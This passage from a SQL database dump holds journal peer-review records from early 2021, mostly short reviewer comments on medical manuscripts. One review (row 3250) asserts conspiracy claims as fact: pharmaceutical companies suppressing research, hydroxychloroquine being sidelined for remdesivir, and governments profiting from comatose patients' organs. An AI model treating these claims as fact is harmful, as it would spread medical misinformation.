research\r\n','2021-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3198,5467,7426,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3199,12022,7070,NULL,'3','D','Y','M','N','TROMBOEMBOLISMO PULMONAR Y CRISIS HEMOLÍTICA. ¿BAJO ASOCIACIÓN FRECUENTE?: REPORTE DE CASO.\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Resumen:\r\nNo es apropiado hacer referencia a una figura en el Resumen. Los paréntesis de (AHAI) deben desaparecer.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n(Los autores escriben la misma revista, en una cita correcta y en otra incorrecta; debe ser corregida).\r\nAconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver (además de la abreviatura correcta de la Revista como se indicó anteriormente). \r\n\r\nPULMONARY THROMBOEMBOLISM AND HEMOLYTIC CRISIS. UNDER FREQUENT ASSOCIATION?: CASE REPORT.\r\nIt was my pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors please review the following comments:\r\n\r\n-Abstract:\r\nIt is not appropriate to refer to a figure in the Summary. The parentheses of (AHAI) must disappear.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" publication must be shown to be an important teaching tool. The objective of the publication of clinical cases is basically educational; the authors must take into account the message they want to communicate and if this knowledge will be useful to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n(The authors write the same journal, in a correct citation, and in another incorrect; it must be corrected).\r\nI advise the authors to review the references and rewrite them using the Vancouver style (in addition to the correct abbreviation of the Journal as stated above).','TROMBOEMBOLISMO PULMONAR Y CRISIS HEMOLÍTICA. ¿BAJO ASOCIACIÓN FRECUENTE?: REPORTE DE CASO.\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Resumen:\r\nNo es apropiado hacer referencia a una figura en el Resumen. Los paréntesis de (AHAI) deben desaparecer.\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n(Los autores escriben la misma revista, en una cita correcta y en otra incorrecta; debe ser corregida).\r\nAconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver (además de la abreviatura correcta de la Revista como se indicó anteriormente). \r\n\r\nPULMONARY THROMBOEMBOLISM AND HEMOLYTIC CRISIS. UNDER FREQUENT ASSOCIATION?: CASE REPORT.\r\nIt was my pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors please review the following comments:\r\n\r\n-Abstract:\r\nIt is not appropriate to refer to a figure in the Summary. The parentheses of (AHAI) must disappear.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" publication must be shown to be an important teaching tool. The objective of the publication of clinical cases is basically educational; the authors must take into account the message they want to communicate and if this knowledge will be useful to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n(The authors write the same journal, in a correct citation, and in another incorrect; it must be corrected).\r\nI advise the authors to review the references and rewrite them using the Vancouver style (in addition to the correct abbreviation of the Journal as stated above).','2021-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3204,13225,7110,NULL,'4','G','Y','Y','Y','The article entitled \"The role of calcium in the pathophysiology of vertigo and its treatment with flunarizine\" is a review article which explain flunarizine has a multitude of mechanisms of action in vertigo treatment. And found that calcium ion disorders played an important role in the pathogenesis of vertigo at the cellular level. Flunarizine’s effectiveness against both acute and chronic vertigo, be it of a peripheral vestibular or vascular origin, makes it a good choice for vertigo treatment. With proper figure the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \"The role of calcium in the pathophysiology of vertigo and its treatment with flunarizine\" is a review article which explain flunarizine has a multitude of mechanisms of action in vertigo treatment. And found that calcium ion disorders played an important role in the pathogenesis of vertigo at the cellular level. Flunarizine’s effectiveness against both acute and chronic vertigo, be it of a peripheral vestibular or vascular origin, makes it a good choice for vertigo treatment. With proper figure the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','2021-02-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3211,16051,7420,NULL,'4','G','Y','Y','Y','This study determined R2* values in sclerotic hippocampi of patients with temporal lobe epilepsy. However, several issues need to be addressed:\r\n1.	The authors should clarify how the sample size was determined. \r\n2.	Representative images of R2* mapping from both control and TLE groups should be included.\r\n3.	What is the sensitivity and specificity of R2* values in diagnosing HS-TLE?','','2021-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3222,11689,7493,NULL,'5','g','y','y','y','The COVID-19 pandemic has made an unprecedented psychological impact on healthcare workers. The objective of this study was to appraise the willingness, attitudes and psychological preparedness of the frontline healthcare workers to respond to the COVID-19 pandemic.\r\nThis study outlines the fact that willingness to respond in a pandemic is an innate response in healthcare workers. Considering the risks, workload and socioeconomic stressors, proactive psychosocial support should be given to frontline healthcare workers by the institutions, governments, and society.\r\nOverall manuscript is well written\r\n','','2021-02-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3227,10684,7518,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- ( DOI: 10.1111/tbj.14072) and ( https://doi.org/10.1111/iwj.13265) suggested studies for the references\r\n','i ll evaulate after revision','2021-02-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3228,10684,6964,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- ( DOI: 10.1111/tbj.14072) and ( https://doi.org/10.1111/iwj.13265) suggested studies for the references\r\n','i ll evaualte after revision','2021-02-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3229,10684,6800,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- ( DOI: 10.1111/tbj.14072) and ( https://doi.org/10.1111/iwj.13265) suggested studies for the references\r\n','i ll evaualate after revision','2021-02-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3230,11689,7305,NULL,'5','g','y','y','y','The aim of this study was to determine if circulating microparticles are associated with the risk of recurrent abortion. The increased levels of microparticles in the peripheral circulation of women with two/more unexplained pregnancy losses supports emerging evidence that microparticles have a role to play in abortion, however, more studies need to be carried out to confirm these findings\r\nThis study shown that increased microparticles levels in women with recurrent abortions supports emerging evidence that microparticles have a role to play in abortion.\r\nOverall well written, I accepted to be published in health science journal\r\n','','2021-02-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3235,11689,7519,NULL,'5','g','y','y','y','The aim of this study was to evaluate the analgesic effect of Intramuscular Pethidine and Intramuscular Morphine on an Orthopedic Population. This article summarized the morphine group experienced an decrease in VAS for pain on movement and increased patient satisfaction as compared with the pethidine group. The results suggest further studies can be done to evaluate the analgesic effect of oral morphine. \r\nThe subject chosen for developing a multidisciplinary consensus statement on \" Comparison of the Analgesic Effect of Intramuscular Pethidine and Intramuscular Morphine on an Orthopedic Population in a Caribbean Territory\" is very timely and an excellent selection. The empirical information of Intramuscular Pethidine and Intramuscular Morphine have explained briefly.\r\nThis is an interesting topic and author well explained. This article will be useful for the readers and medical professionals. Adequate references were mentioned in the article. The article can be accepted for publication in Health Science Journal.  \r\n','','2021-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3239,9531,7517,NULL,'4','R','N','N','N','This article highlights on three aspects, firstly the presence of SARS-COV2 in the society in India, the economic downturn and the vaccination program. Here are several comments.\r\n\r\n1. The overview on pandemic situation is appreciated because it was a sudden stroke of luck that number of infected in India has reduced tremendously compared to the initial peaks. Why? The author needs to elaborate on this as this is a recent inquiry.\r\n\r\n2. Economic downfalls are anticipated worldwide and India\'s major economic driver is agriculture and its exports. How are farmers coping with reduced financial returns while land owners force farmers to pay rental on their lands? What role does the labour class societies play when business owners resort to momentary moratoria of operations? How does this impact the local economy? Is there any microinflation?\r\n\r\n3. Targeted vaccination community are individuals of ages 50 and above. This is good practice as Covid-19 infected were individuals of 50 and above. Now, is there any delay to provide vaccination and what are the arrangements that India takes to overcome supply shortages and overheads?','Dear Editor,\r\n\r\nThis correspondence is well prepared and meets the current scope of addresses for Covid-19. However, the introductory ideas are slightly overshot and would need a revamp. Therefore, several suggestions are provided as effort to provide direction (perspective) to the author.','2021-02-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3240,11689,7300,NULL,'5','g','y','y','y','Its a good article about Orthodontic Plaster Models. The main aim of this study was to investigate the effects of impression materials and types of disinfectants used on the accuracy of stone models. Overall well written. I strongly recommending to publish in this journal\r\n','','2021-02-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3250,12519,6800,NULL,'4','G','D','Y','y','I have been very impressed with this gutsy presentation to challenge a nobel prize  being given to a fellow for a work that has defied all principles of human experimentation \r\ni)why no animal experimentation done earlier just like hitler used human beings as guinea pigs same here done and that too defied so much logic which total mistrust among the 3 workers like only Sperry granted the noble prize while Bogen withdrew his name and big conflict among Gallaghar and Sperry who ultimately wer enot only on talking terms .\r\nAs you have gone to great lengths to explain no neurophysiological tests planned earlier –I find in neuroanatomy testbooks it is explained  that saggital section  of C corpus callosum(CC) ,ant commisure As well as  optic chiasm  disconnects the 2 cerebral hemispheres .Individual has a ‘’split brain’’ &can’t transfer information from 1 hemisphere to the other .Specific tests  are needed to demonstrate these deficits\r\ni)if blindfolded ,the individual cant match item held in 1 hand or seen in 1 visual field  with what is felt  or seen on the other side’b)A right handed patients  can execute a verbal command with  right  hand  since the motor cortex  remains connected to language centres of left hemisphere . Patients  cant execute the command  with lt hand since right  hemisphere  disconnected from lt side does not understand language .\r\nMoreover other lacunae were documented total severing of CC although later on MRI fornix and splenium was found intact –why microcope not used earlier as well as     even later with microscope this pt reported  and what was fishy why Bogen went to complete CC severance in morgue .\r\nFurther at present these severance being performed in rats and testing with BOLD etc  and in humans instead of opening brain laser being used to dissect WITH LASAER \r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC3931437/\r\nHere Magnuson et al. quoted Sperry but raised the same doubts in epilepsy trying to study in rats  the way it should have been planned to start with \r\nhttps://pubmed.ncbi.nlm.nih.gov/32944948/\r\nhttps://pubmed.ncbi.nlm.nih.gov/32944948/\r\nstudies on interstitial laser effects and control of epileptic seizures  with functional MRI being done in rats and studying flaws even in MRI studies in animals.\r\nFurther I marvel at your thought process  bright from childhood asking your father if brain was perfect machine why used for lies ,and  fights –Fathers answer you try to explore            \r\nMoreover like the thought no AIDS answer and thought that answer might lie in insects and how melltinin came later \r\nGood ur aim that brain is so complicated with billions of neurons  why we have not all answers but keep working to find and enlighten people on further learning \r\nFurther I want to highlight that in this kalyug let alone noble prize be granted to a fellow without scruples I found a person devoting whole life  in bringing back patients from coma brings them on feet and even CNS tumours improved so much mockery made of his work in a European conference with him from Europe and he actually starting from  animal studies in east germany then gradually patients  under GA gradually developed single neuronal studies  but let alone medical journals his work was rejected from lancet ,natureor any prestigious journal  where dictated by BIG PHARMA Companies like in case of hydroxyl chloroquine studies in COVID showing failure given preference by pharma comp incentives to promote remsedevir etc\r\nBeing a good neurologist you need to read his work –giving his titleswhere with his work so many comatose patients  improvement but even govt was not interested in legislation as these comatose patients  get good cost for organs it is more profitable for governments as less insurance fee needed and this bright brain having struggled from animal experimentation is a non entity –I think he is the one who actually deserves a nobel prize  using right path working 18 hrs despite his having improved from malignancy .\r\nSchalow G (2019) Brain repair and general health improvement through human\r\nneurophysiology and repair physiology (Review of Coordination Dynamics Therapy\r\n(CDT)). Clin. Med. Rep. 2(2), 1-68, 2019.\r\nSchalow G (2020) Potential organ donor recovered from severe brain injury\r\nspontaneously and CNS functions improved through coordination dynamics therapy. Int J\r\nMed Clin Imaging, 6(1): 95-108.\r\nI just advise to add articles references regards to rat CC severance complete with BOLD assessment &laser assisted treatment now  and keep working on your pursuit to explore CNS working like why after root canal therapy why patient developed retrograde amnesis.\r\n  \r\n\r\n','I have been very impressed with this gutsy presentation to challenge a nobel prize  being given to a fellow for a work that has defied all principles of human experimentation \r\ni)why no animal experimentation done earlier just like hitler used human beings as guinea pigs same here done and that too defied so much logic which total mistrust among the 3 workers like only Sperry granted the noble prize while Bogen withdrew his name and big conflict among Gallaghar and Sperry who ultimately wer enot only on talking terms .\r\nAs you have gone to great lengths to explain no neurophysiological tests planned earlier –I find in neuroanatomy testbooks it is explained  that saggital section  of C corpus callosum(CC) ,ant commisure As well as  optic chiasm  disconnects the 2 cerebral hemispheres .Individual has a ‘’split brain’’ &can’t transfer information from 1 hemisphere to the other .Specific tests  are needed to demonstrate these deficits\r\ni)if blindfolded ,the individual cant match item held in 1 hand or seen in 1 visual field  with what is felt  or seen on the other side’b)A right handed patients  can execute a verbal command with  right  hand  since the motor cortex  remains connected to language centres of left hemisphere . Patients  cant execute the command  with lt hand since right  hemisphere  disconnected from lt side does not understand language .\r\nMoreover other lacunae were documented total severing of CC although later on MRI fornix and splenium was found intact –why microcope not used earlier as well as     even later with microscope this pt reported  and what was fishy why Bogen went to complete CC severance in morgue .\r\nFurther at present these severance being performed in rats and testing with BOLD etc  and in humans instead of opening brain laser being used to dissect WITH LASAER \r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC3931437/\r\nHere Magnuson et al. quoted Sperry but raised the same doubts in epilepsy trying to study in rats  the way it should have been planned to start with \r\nhttps://pubmed.ncbi.nlm.nih.gov/32944948/\r\nhttps://pubmed.ncbi.nlm.nih.gov/32944948/\r\nstudies on interstitial laser effects and control of epileptic seizures  with functional MRI being done in rats and studying flaws even in MRI studies in animals.\r\nFurther I marvel at your thought process  bright from childhood asking your father if brain was perfect machine why used for lies ,and  fights –Fathers answer you try to explore            \r\nMoreover like the thought no AIDS answer and thought that answer might lie in insects and how melltinin came later \r\nGood ur aim that brain is so complicated with billions of neurons  why we have not all answers but keep working to find and enlighten people on further learning \r\nFurther I want to highlight that in this kalyug let alone noble prize be granted to a fellow without scruples I found a person devoting whole life  in bringing back patients from coma brings them on feet and even CNS tumours improved so much mockery made of his work in a European conference with him from Europe and he actually starting from  animal studies in east germany then gradually patients  under GA gradually developed single neuronal studies  but let alone medical journals his work was rejected from lancet ,natureor any prestigious journal  where dictated by BIG PHARMA Companies like in case of hydroxyl chloroquine studies in COVID showing failure given preference by pharma comp incentives to promote remsedevir etc\r\nBeing a good neurologist you need to read his work –giving his titleswhere with his work so many comatose patients  improvement but even govt was not interested in legislation as these comatose patients  get good cost for organs it is more profitable for governments as less insurance fee needed and this bright brain having struggled from animal experimentation is a non entity –I think he is the one who actually deserves a nobel prize  using right path working 18 hrs despite his having improved from malignancy .\r\nSchalow G (2019) Brain repair and general health improvement through human\r\nneurophysiology and repair physiology (Review of Coordination Dynamics Therapy\r\n(CDT)). Clin. Med. Rep. 2(2), 1-68, 2019.\r\nSchalow G (2020) Potential organ donor recovered from severe brain injury\r\nspontaneously and CNS functions improved through coordination dynamics therapy. Int J\r\nMed Clin Imaging, 6(1): 95-108.\r\nI just advise to add articles references regards to rat CC severance complete with BOLD assessment &laser assisted treatment now  and keep working on your pursuit to explore CNS working like why after root canal therapy why patient developed retrograde amnesis.\r\n  \r\n\r\n','2021-02-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3252,16701,7494,NULL,'5','g','y','m','y','This manuscript describes the use of HIV virus containing defined mutations to study the location of the virus in the body of infected humanized mice.  The strategy appears to be reasonable and the results are interesting.  Different mutations in the NEF gene appeared to confer somewhat different tissue tropisms.  ','','2021-02-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3256,11689,7348,NULL,'5','g','y','y','y','The aim of this study was to analyze the effects of strength training on sarcopenic elderly. Overall well written. I strongly recommended to be published in this journal.','','2021-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3257,15826,7518,NULL,'1','g','n','y','n','there is no specific information about cov?d 19 diagnosis , treatment , complication... etc ','here is no specific information about cov?d 19 diagnosis , treatment , complication... etc \r\npaper is just 2 pages and no references section.  Paper is about general knowledge and nothing specific manner','2021-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3260,12022,7472,NULL,'3','D','N','N','N','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLos autores escriben las referencias en diversos estilos (por ejemplo, a veces con mes de publicación, y otras veces no; con DOI y sin DOI…).  Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\n\r\nSubacute invasive aspergillosis in a patient with endogenous Hypercortisolism\r\nIt was a pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors review the following comments:\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nThe authors write the references in different styles (for example, sometimes with month of publication, and sometimes not; with DOI and without DOI ...). I advise authors to check the references and rewrite them using the Vancouver style.','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLos autores escriben las referencias en diversos estilos (por ejemplo, a veces con mes de publicación, y otras veces no; con DOI y sin DOI…).  Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\n\r\nSubacute invasive aspergillosis in a patient with endogenous Hypercortisolism\r\nIt was a pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors review the following comments:\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nThe authors write the references in different styles (for example, sometimes with month of publication, and sometimes not; with DOI and without DOI ...). I advise authors to check the references and rewrite them using the Vancouver style.','2021-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3263,11689,7080,NULL,'5','g','y','y','y','Its a good article about Insecticide-treated Bed Nets among Pregnant Women. \r\nMalaria is one of the most serious public health problems anywhere. Pregnant women are among the groups with the highest risk of malaria. Use of insecticide treated bed nets (ITNs) is a cost-effective method of controlling malaria. Despite this, there is low utilisation of ITNs among pregnant women in Kilifi district which is an endemic malaria zone.\r\nThe aim of this study was to determine knowledge, attitude and practice on the use of ITNs in the prevention of malaria among pregnant women in Cameroon.\r\nOverall well written','','2021-03-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3267,11689,7319,NULL,'5','g','y','y','y','The aim of this study was to compare adverse maternal outcomes among women with adult and AMA pregnancy. Overall well written','','2021-03-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3272,11689,7311,NULL,'5','g','y','y','y','Its a good article about workload factors as experienced by Saudi Arabian ICU nurses and its influence on their wellbeing.\r\nThe aim of this paper was to share insights, research findings and discuss key issues related to workload factors and their influence on the wellbeing of ICU nurses working in a Saudi Arabian hospital. \r\nOverall well written\r\n','','2021-03-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3279,11589,7163,NULL,'4','G','Y','Y','Y','The article entitled \"Physical activity assessment in patients with multiple sclerosis\" is a short communication which explain the possibility of the loading monitoring in the MS patients with a help of special measurement insoles and mobile application (both iOS and Android), allowing to calculate not only the number of steps, but also the total loading, contact time, foot contact areas, imbalance, and cadence. And found that functional diagnostics during barefoot platform measurements and influence of the shoes in in-shoe measurements give the opportunity to assume the limitation of physical activity in persons with MS. . With proper figures and tables the author explain it very nicely.\r\nI suggest a small change i.e. the formatting, reference arrangement, table & figure arrangement and grammar after that this article can publish.','The article entitled \"Physical activity assessment in patients with multiple sclerosis\" is a short communication which explain the possibility of the loading monitoring in the MS patients with a help of special measurement insoles and mobile application (both iOS and Android), allowing to calculate not only the number of steps, but also the total loading, contact time, foot contact areas, imbalance, and cadence. And found that functional diagnostics during barefoot platform measurements and influence of the shoes in in-shoe measurements give the opportunity to assume the limitation of physical activity in persons with MS. . With proper figures and tables the author explain it very nicely.\r\nI suggest a small change i.e. the formatting, reference arrangement, table & figure arrangement and grammar after that this article can publish.','2021-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3287,16785,6964,NULL,'1','1','1','1','1','This paper is not suitable for publication as the design of the research is not suitable thus leads to wrong results and discussions','This paper is not suitable for publication as the design of the research is not suitable thus leads to wrong results and discussions','2021-03-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3288,16785,7669,NULL,'1','1','1','1','1','This paper is not suitable for publication as the design of the research is not suitable thus leads to wrong results and discussions','This paper is not suitable for publication as the design of the research is not suitable thus leads to wrong results and discussions','2021-03-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3302,665,7559,NULL,'4','R','D','Y','Y','Good review of a highly complex subject which is written in a clear way. \r\nClear figures with Fig numbers would help. \r\nSome more examples of certain operations where monitoring is mandatory or very helpful would be useful. Also potential medico-lebal implications.\r\nWho should be incharge of monitoring? Neurophysiologists or technicians. What training is required in order to undertake this work?\r\nWhich techniques can be safely used routinely in secondary level hospitals? \r\nWhich operations tend to be done without monitoring, but really do require monitoring?\r\n','This is a good review paper of a complex and highly specialized subject. Appropriate for those in a neurology speciality at secondary level. \r\nThis paper should be published, in my opinion with the above changes. ','2021-03-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3304,17074,7101,NULL,'5','r','y','y','y','Thank you for submitting your article for review. The article is well written and examines an important research question. The work presented is also well-grounded in theory. This paper explores the characterisation of persistent headache attributed to past stroke. After carefully going through the article titled \"Prospective Characterisation of Persistent Headache Attributed to Past Stroke\". I feel the author has written this article with logical arguments. The aim of this study was to determine the incidence and characteristics of PHAPS in patients admitted with acute stroke. The author analysed demographic, clinical and neuroimaging data. Theoretically the research was well explained. The author patiently did the research work by following up the patients for one year and this shows the dedication of the author towards his research.\r\nAlthough article was elaborated within the scope of the research, the author mainly discussed about the patients with acute stroke admitted to a Neurology ward between November 2018 and December 2019. The abstract gives the clear cut picture of the study. About my knowledge the research will be very helpful to the readers who wish to do their research on post-stroke pain. so I strongly recommend publishing the article without any changes.','I recommended for publication','2021-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3310,17074,7428,NULL,'5','r','y','y','y','The paper is quite interesting and it is about the pneumothorax in the conundrum is caused by COVID19.\r\n\r\nThis is an interesting article regarding persistent pneumothorax caused by severe COVID19 virus infection. As it is conducted on 60yrs morbidly obese male who had more complications who has weakness for 3days and many examinations were conducted. In the methods section author has mentioned the reason for the air bubbling and the alleviated the reasons for it. This case describes a first persistent pneumothorax resulted from severe COVID 19 virus infection to our knowledge. This paper presents original, new information about an important topic. I recommend the publication of this article.','I recommended for publication ','2021-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3315,12022,7592,NULL,'3','5','N','Y','N','Consideraciones anestésicas en el paciente con trauma de la columna cervical\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre 